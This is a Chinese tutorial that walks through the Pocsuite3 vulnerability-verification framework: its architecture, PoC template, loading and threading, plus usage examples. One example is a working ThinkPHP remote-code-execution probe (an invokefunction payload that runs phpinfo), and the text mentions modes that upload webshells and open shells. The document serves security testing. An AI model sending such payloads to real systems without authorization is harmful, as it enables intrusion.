Pocsuite3 源码分析与使用教程

目录

1. Pocsuite3 概述
2. 核心功能与模式
3. 目录结构解析
4. PoC 模板详解
5. 参数存储机制
6. 命令行参数解析
7. 系统初始化流程
8. 动态加载机制
9. 多线程模型
10. 输出处理机制
11. 实战示例

Pocsuite3 概述

Pocsuite3 是一个基于 Python3 编写的漏洞验证框架，主要用于安全测试和漏洞验证。它具有以下特点：

• 支持三种操作模式：验证、利用和 shell
• 模块化设计，易于扩展
• 多线程支持，高效执行
• 灵活的 PoC 管理机制

核心功能与模式

Pocsuite3 提供三种主要操作模式：

1. 验证模式(verify)：仅验证漏洞是否存在，不进行攻击性行为
2. 利用模式(attack)：上传木马文件获取权限
3. Shell模式(shell)：与目标建立 shell 连接

目录结构解析

Pocsuite3 的目录结构如下：

api/            # 存放__init__.py，对导入包重命名，方便后续调用
data/           # 存储用户需要使用数据，如弱口令文件等
lib/            # 存储Pocsuite3的具体实现，包括核心功能代码
modules/        # 存储用户自定义的模块
plugins/        # 存储用户自定义的插件
pocs/           # 存储PoC文件
shellcodes/     # 存储生成php,java,python等脚本语言的利用代码
cli.py          # 项目入口文件
console.py      # 命令行界面

PoC 模板详解

Pocsuite3 使用统一的 PoC 模板格式，可通过命令生成：

python cli.py -n 生成模板

生成的模板文件包含以下核心部分：

from pocsuite3.api import POCBase, register_poc

class DemoPOC(POCBase):
    # 类属性定义
    vulID = ''          # 漏洞ID
    version = ''        # PoC版本
    author = ''         # 作者
    vulDate = ''        # 漏洞公开日期
    createDate = ''     # PoC创建日期
    updateDate = ''     # PoC更新日期
    references = []     # 参考链接
    name = ''           # PoC名称
    appPowerLink = ''   # 厂商主页
    appName = ''        # 应用名称
    appVersion = ''     # 应用版本
    vulType = ''        # 漏洞类型
    desc = ''''''       # 漏洞描述
    samples = []        # 测试样例
    install_requires = []  # 依赖模块
    
    # 方法定义
    def _check(self): pass    # 检查漏洞是否存在
    def _verify(self): pass   # 验证模式
    def _attack(self): pass   # 攻击模式
    def _shell(self): pass    # shell模式
    
    def _execute(self, mode='verify'):
        # 执行不同模式的攻击
        pass

register_poc(DemoPOC)  # 注册PoC，实现动态加载

关键点：

• 所有 PoC 都基于 POCBase 类
• execute() 和 _execute() 是核心方法
• register_poc() 用于注册 PoC 实现动态加载

参数存储机制

Pocsuite3 使用 lib/core/data.py 中定义的五个全局变量存储系统参数：

1. conf: 存储基本配置信息
2. kb: 存储多线程运行PoC的配置信息
   • 目标地址
   • 加载的PoC
   • 运行模式
   • 输出结果
   • 加载的PoC文件地址
   • 多线程信息
3. cmd_line_options: 存储命令行输入的参数值
4. merged_options: 存储输入值与默认值合并后的结果
5. paths: 存储数据、插件、poc目录地址，临时目录、输出目录

lib/core/settings.py 中存储一些额外配置信息：

• banner信息
• 正则表达式
• 命令行解析白名单等

命令行参数解析

执行命令示例：

python cli.py -f "ip.txt" -r "pocs" -o "output.txt"

解析过程：

1. cli.py 的 main 函数执行
2. module_path() 返回当前工作目录
3. check_environment() 检查当前工作目录
4. set_paths() 设置目录路径
5. banner() 打印banner信息
6. cmd_line_parser() 解析命令行参数

cmd_line_parser() 使用 argparse 库实现参数解析：

• ArgumentParser 创建解析器对象
• add_argument() 添加命令行选项
• add_argument_group() 给参数分组
• parse_args() 自动解析命令行输入

参数解析示例：

parser.add_argument('-f', '--file', dest='url_file', 
                    help='Load targets from target file')
parser.add_argument('-r', '--poc', dest='poc', nargs='+',
                    help='Load POC from a directory or specify a poc file')
parser.add_argument('-o', '--output', dest='output_path',
                    help='Output file path')

系统初始化流程

系统初始化由 init_options() 函数实现，主要步骤：

1. 初始化系统参数

   • 将命令行输入存储到 cmd_line_options
   • 使用 _set_conf_attributes() 初始化 conf 变量
   • _set_poc_options(input_options) 设置 DIY_OPTIONS
   • _set_kb_attributes() 初始化 kb 变量
   • _merge_options() 合并选项到 merged_options

2. 参数格式化与合法检测

   • _cleanup_options() 格式化参数并检查合法性
   • 处理请求头、cookie等参数
   • 设置线程间隔、超时时间
   • 检查输入文件是否存在且可读

3. 读取目标

   • _set_multiple_targets() 从文件获取目标IP
   • 使用 get_file_items() 读取文件内容
   • parse_target() 解析CIDR地址和域名

4. 动态加载PoC

   • _set_pocs_modules() 加载PoC脚本
   • 判断 conf.poc 是文件还是目录
   • 使用 load_file_to_module() 加载PoC

5. 动态加载插件

   • _set_plugins() 加载插件
   • 使用 register_plugin() 注册插件

6. 多线程初始化

   • _set_task_queue() 初始化任务队列
   • 将目标IP与PoC模块组合

7. 输出插件初始化

   • _init_results_plugins() 初始化输出插件

动态加载机制

PoC 动态加载核心流程：

1. 使用 importlib.util.spec_from_file_location 创建模块规范
2. 使用 importlib.util.module_from_spec 创建模块对象
3. 使用 PocLoader 作为加载器
4. spec.loader.exec_module 执行模块加载

PocLoader 的 exec_module 方法：

1. 获取PoC文件内容和路径
2. check_requires 检查依赖模块
3. compile 编译PoC代码为字节码
4. exec 执行字节码

插件加载与PoC类似，但使用 register_plugin() 注册：

kb.plugins['results']['pocs_file_record'] = 插件对象

多线程模型

多线程执行流程：

1. start() 调用 run_threads() 建立多线程模型
2. 多线程执行 task_run() 函数
3. 使用 Queue 实现线程安全的任务队列

核心代码：

def run_threads(num_threads, func):
    threads = []
    for i in range(num_threads):
        t = threading.Thread(target=func)
        t.setDaemon(True)
        threads.append(t)
        t.start()
    
    for t in threads:
        t.join()

def task_run():
    while not kb.task_queue.empty():
        target, poc_module = kb.task_queue.get()
        poc = kb.registered_pocs[poc_module]
        result = poc.execute(target)
        result_plugins_handle(result)

输出处理机制

输出处理由两部分组成：

1. task_run() 中的 result_plugins_handle()

   • 执行插件的 handle() 方法
   • 将结果以JSON格式写入文件

2. start() 中的 task_done()

   • show_task_result() 格式化输出结果
   • result_plugins_start() 关闭文件并输出保存地址
   • result_compare_handle() 显示搜索引擎比较数据

实战示例

示例1：基本使用

python cli.py -f "ip.txt" -r "pocs" -o "output.txt"

执行流程：

1. 从 ip.txt 读取目标IP
2. 加载 pocs 目录下的所有PoC
3. 多线程验证漏洞
4. 结果输出到 output.txt

示例2：ThinkPHP RCE漏洞验证

PoC文件 thinkphp_rce.py 核心逻辑：

def _check(self):
    # 检查漏洞是否存在
    url = self.target + '/index.php?s=/Index/\\think\\app/invokefunction'
    data = {
        'function': 'call_user_func_array',
        'vars[0]': 'phpinfo',
        'vars[1][]': '1'
    }
    response = requests.post(url, data=data)
    if 'PHP Version' in response.text:
        return True
    return False

def _verify(self):
    # 验证模式
    result = {}
    if self._check():
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.target
        result['VerifyInfo']['Payload'] = data
    return self.parse_output(result)

示例3：自定义PoC开发

1. 生成模板：

python cli.py -n my_poc.py

2. 编辑PoC文件：

from pocsuite3.api import POCBase, register_poc

class MyPOC(POCBase):
    vulID = 'CVE-2023-12345'
    version = '1.0'
    author = 'yourname'
    vulDate = '2023-01-01'
    createDate = '2023-08-01'
    name = 'Example Vulnerability'
    appName = 'Example App'
    
    def _verify(self):
        result = {}
        url = self.target + '/vulnerable_endpoint'
        try:
            response = requests.get(url)
            if 'vulnerable_string' in response.text:
                result['VerifyInfo'] = {
                    'URL': url,
                    'Payload': None
                }
        except Exception as e:
            pass
        return self.parse_output(result)

register_poc(MyPOC)

3. 执行验证：

python cli.py -r my_poc.py -u http://target.com

总结

Pocsuite3 是一个功能强大且灵活的漏洞验证框架，通过分析其源码可以深入理解：

1. 模块化设计和动态加载机制
2. 多线程任务处理模型
3. 统一的PoC开发规范
4. 灵活的插件系统
5. 完善的参数管理和输出处理

掌握这些核心概念后，可以更高效地使用Pocsuite3进行安全测试，也能更好地开发自定义PoC和插件。